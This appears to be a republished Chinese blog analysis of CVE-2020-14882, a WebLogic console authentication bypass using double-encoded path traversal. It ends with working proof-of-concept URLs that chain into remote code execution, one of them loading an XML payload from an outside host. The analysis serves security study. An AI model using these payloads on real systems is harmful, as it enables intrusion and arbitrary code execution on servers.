cve-2020-14882 weblogic 繞過登錄分析


簡介

weblogic 管理控制台需要用戶名和密碼去登錄,但是通過該漏洞,可以繞過登錄校驗,直接進入后台訪問weblogic的各種資源。

補丁diff

在這里我的weblogic版本為12.2.1.4,其他版本都大同小異。下面我們看一下補丁diff結果

因為這個類是weblogic從http訪問的處理類,直接禁止url是否包含危險字符,如果包含,則直接退出。修復方案簡單粗暴,不得不佩服。危險字符主要有以下幾個

private static final String[] IllegalUrl = new String[]{";", "%252E%252E", "%2E%2E", 
"..", "%3C", "%3E", "<", ">"};

weblogic 管理控制台權限控制分析

要分析這個洞,首先我們需要了解一下,登錄weblogic管理控制台的權限控制

在處理url的weblogic.servlet.internal.WebAppServletContext#doSecuredExecute方法中,調用如下的代碼去判斷權限等一切有關於安全的內容。代碼如下

            if (context.getSecurityManager().checkAccess(req, rsp, applyAuthFilters, false)) {
                if (s != null) {
                    int count = ((SessionSecurityData)s).getConcurrentRequestCount();
                    if (maxConcurrentRequestsAllowed != -1 && count > maxConcurrentRequestsAllowed) {
                        context.logError("Rejecting request since concurrent requests allowable limit exceeded :" + maxConcurrentRequestsAllowed);
                        rsp.sendError(500);
                        return;
                    }
                }

weblogic.servlet.security.internal.WebAppSecurity#checkAccess(HttpServletRequest, HttpServletResponse, boolean, boolean, boolean)中,判斷是否所有url都需要權限。當然,訪問靜態資源肯定是不需要登陸的,可能是為了瀏覽器兼容性考慮,因為大部分瀏覽器在登陸后,對訪問靜態資源都會添加cookie頭,只有個別瀏覽器不會。

所以weblogic將會根據訪問的url,也就是是否為靜態資源,去返回一個ResourceConstraint對象。該對象描述了該url訪問的資源的詳細權限信息

            ResourceConstraint resourceConstraint = checkAllResources ? Holder.ALL_CONSTRAINT : this.getConstraint(request);

authorized = this.delegateModule.isAuthorized(request, response, resourceConstraint, 
applyAuthFilters)

然后調用weblogic.servlet.security.internal.SecurityModule#isAuthorized方法,在該方法中獲取用戶session,調用weblogic.servlet.security.internal.ChainedSecurityModule#checkAccess方法做進一步權限校驗。

最后會在weblogic.servlet.security.internal.CertSecurityModule#checkUserPerm中調用weblogic.servlet.security.internal.WebAppSecurity#hasPermission方法,根據最開始生成的ResourceConstraint對象,判斷該次http請求是否有權限。如圖所示

如果用戶訪問的是靜態資源,則返回unrestricted的值,hasPermission返回為true,weblogic認為你有權限訪問,於是就會放行。如果你訪問非靜態權限,則直接攔截你的請求,重定向至登陸頁。

於是繞過登錄的關鍵在於,怎么訪問正常的資源,但是weblogic返回的是靜態資源的ResourceConstraint對象

權限繞過分析

我們回到最開始的

ResourceConstraint resourceConstraint = checkAllResources ? Holder.ALL_CONSTRAINT : this.getConstraint(request)

跟入weblogic.servlet.security.internal.WebAppSecurityWLS#getConstraint(java.lang.String, java.lang.String)

ResourceConstraint rcForAllMethods = consForAllMethods == null ? null : 
(ResourceConstraint)consForAllMethods.get(relURI);

在這里會調用weblogic.servlet.utils.StandardURLMapping#get去根據url,返回對應的ResourceConstraint對象。

    public Object get(String path) {
        path = path.length() == 0 ? "/" : this.cased(path);
        Object value = null;
        if ((value = this.getExactOrPathMatch(path)) != null) {
            return value;
        } else {
            return (value = this.getExtensionMatch(path)) != null ? value : this.getDefault();
        }
    }

首先調用getExactOrPathMatch方法,也就是根據url,匹配是否在靜態資源列表中,

%252E%252E%252F 恰好是../的url二次編碼結果。這樣既可以返回靜態資源的ResourceConstraint對象,又不會影響正常訪問。

weblogic 二次編碼原因

在poc中我們可以看到,../被二次編碼了。下面我們來分析一下weblogic能解開的原因

根據http規定,url部分,需要url編碼后發送給服務器。服務器正常解開並繼續處理。這是第一層url編碼

第二層編碼的處理,在com.bea.netuix.servlets.manager.UIServletInternal#getTree中,

    public static UIControl getTree(String requestPattern, UIContext ctxt, boolean setContentType, ResolvedLocale resolvedLocale) throws IOException, ServletException {
        HttpServletRequest request = ctxt.getServletRequest();
        HttpServletResponse response = ctxt.getServletResponse();
        requestPattern = URLDecoder.decode(requestPattern, containerServices.getWebappServices().getServerDefaultEncoding());

其中URLDecoder.decode會對第一次編碼后的url做第二次解碼的工作,當然,如果url還存在url編碼的話。

這也就是為什么兩次編碼可以繞過的原因。

一次url編碼為什么不可以繞過?因為經過服務器一次解碼后,在weblogic.servlet.utils.StandardURLMapping#get處,無法匹配到靜態資源。會被還原成原本的url,所以無法繞過。。大家有機會可以看一下weblogic.utils.collections.MatchMap#match關於查找的代碼

POC

weblogic 12

http://127.0.0.1:7001/console/css/%2e%2e%2fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22);

因為com.tangosol.coherence.mvel2.sh.ShellSession這個gadget,只存在於weblogic 12,weblogic10 並沒有這個gadget(沒有包),所以無法使用

weblogic 10

因為weblogic 10沒有相關gadget所以會報錯,如圖

需要使用 com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext

poc如下

http://127.0.0.1:7001/console/css/%2e%2e%2fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.184.1:8000/spel.xml")

參考

  1. https://testbnull.medium.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981dbf


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM